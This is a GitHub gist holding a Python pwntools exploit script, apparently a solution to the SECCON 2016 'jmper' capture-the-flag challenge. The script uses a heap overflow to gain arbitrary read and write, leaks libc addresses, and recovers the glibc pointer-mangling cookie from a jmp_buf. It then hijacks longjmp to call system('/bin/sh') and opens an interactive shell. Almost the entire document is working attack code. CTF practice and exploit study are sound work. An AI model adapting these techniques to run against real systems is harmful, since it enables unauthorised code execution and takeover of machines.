Skip to content

Instantly share code, notes, and snippets.

@CreateRemoteThread
Created January 14, 2017 14:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CreateRemoteThread/3080acc4e3709813451f8c86a33ba509 to your computer and use it in GitHub Desktop.
Save CreateRemoteThread/3080acc4e3709813451f8c86a33ba509 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import pwn
import struct
import sys
import binascii
p = pwn.remote('127.0.0.1',55555)
def initItems():
p.recvuntil("6. Bye :)")
p.sendline("1")
p.recvuntil("6. Bye :)")
p.sendline("1")
def leakHeapAddress(x):
p.recvuntil("6. Bye :)")
p.sendline("3")
p.recvuntil("ID:",timeout=1)
p.sendline(str(x))
p.recvuntil("Input memo:")
p.sendline("A" * 32)
p.recvuntil("6. Bye :)")
p.sendline("5")
p.recvuntil("ID:",timeout=1)
p.sendline(str(x))
data = p.recvuntil("1. Add",drop=True)[32:]
next_ptr = struct.unpack("<q",data.ljust(8,'\00'))[0]
print " [!] leaked next_ptr = 0x%x" % next_ptr
return next_ptr
def overflowHeapAddress(x,newbyte):
p.recvuntil("6. Bye :)")
p.sendline("3")
p.recvuntil("ID:",timeout=1)
p.sendline(str(x))
p.recvuntil("Input memo:")
p.sendline("A" * 32 + newbyte)
p.recvuntil("6. Bye :)")
p.sendline("5")
p.recvuntil("ID:",timeout=1)
p.sendline(str(x))
data = p.recvuntil("1. Add",drop=True)[32:]
next_ptr = struct.unpack("<q",data.ljust(8,'\00'))[0]
print " [!] overflowed next_ptr = 0x%x" % next_ptr
return next_ptr
def showName(x):
p.recvuntil("6. Bye :)")
p.sendline("4")
p.recvuntil("ID:",timeout=1)
p.sendline(str(x))
data = p.recvuntil("1. Add",drop=True)
# print binascii.hexlify(data) + data
return data
def setName(x,name):
p.recvuntil("6. Bye :)")
p.sendline("2")
p.recvuntil("ID:",timeout=1)
p.sendline(str(x))
p.recvuntil("Input name:")
p.sendline(name)
def showMemo(x):
p.recvuntil("6. Bye :)")
p.sendline("4")
p.recvuntil("ID:")
p.sendline("0")
name = p.recvuntil("1. Add",drop=True)
# print binascii.hexlify(name) + name
return name
print " [!] stage 1: prepare exploit"
initItems()
raw_input(" [>] attach a debugger now!")
print " [>] seeding NAME_ZERO with /bin/sh"
setName(0,"NM0")
setName(1,"/bin/sh")
nameOne_addr = leakHeapAddress(1)
nameZero_addr = leakHeapAddress(0)
nameZero_newbyte = "" + chr((nameZero_addr & 0xFF) + 0x58)
print " [!] overflowing last byte of nameZero with %s" % binascii.hexlify(nameZero_newbyte)
overflowHeapAddress(0,nameZero_newbyte)
# this is the basic arbitrary read/write primitive...
print " [>] writing address of name1 to arbitrary offset"
setName(0,struct.pack("<q",0x601fa0)) # PLT
print " [<] reading puts@PLT"
leaked_plt = showName(1)
puts_plt = struct.unpack("<q",leaked_plt.ljust(8,'\x00'))[0]
# system_plt = struct.pack("<q",puts_plt - 0x2b290)
print " [!] puts@libc = 0x%x" % puts_plt
print " [!] system@libc = 0x%x" % (puts_plt - 0x2b290)
# 0x602038
setName(0,struct.pack("<q",0x602038))
leaked_jmpbuf = showName(1)
actual_jmpbuf = struct.unpack("<q",leaked_jmpbuf.ljust(8,'\x00'))[0]
print " [<] jmpbuf lives at 0x%x" % actual_jmpbuf
# careful here - struct unpacks a tuple
setName(0,struct.pack("<q",actual_jmpbuf + 0x30))
rsp_s = pwn.ror(struct.unpack("<Q",showName(1)[0:8])[0],0x11,64)
setName(0,struct.pack("<q",actual_jmpbuf + 0x38))
rip_s = pwn.ror(struct.unpack("<Q",showName(1)[0:8])[0],0x11,64)
cookie = rip_s ^ 0x400C31
old_rsp = rsp_s ^ cookie
print " [<] leaked cookie is 0x%x" % cookie
print " [<] old stack is 0x%x" % old_rsp
# use a pseudo rop chain to do this
# > RIP = pop rdi; ret gadget
# > RSP = name0
# \-> /bin/sh
# \-> system
# https://github.com/ctfs/write-ups-2016/tree/master/seccon-ctf-quals-2016/exploit/jmper-300
print " [>] writing new RIP to pop rdi gadget..."
new_rip = pwn.rol(0x400cc3 ^ cookie,0x11,64)
setName(1,struct.pack("<Q",new_rip))
print " [>] seeding new stack with /bin/sh and system..."
setName(0,struct.pack("<q",old_rsp))
setName(1,struct.pack("<Q",nameOne_addr))
setName(0,struct.pack("<q",old_rsp + 8))
setName(1,struct.pack("<Q",puts_plt - 0x2b290))
raw_input(" [!] triggering longjmp, final chance to debug...")
for i in range(0,29):
p.recvuntil("6. Bye :)")
p.sendline("1")
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment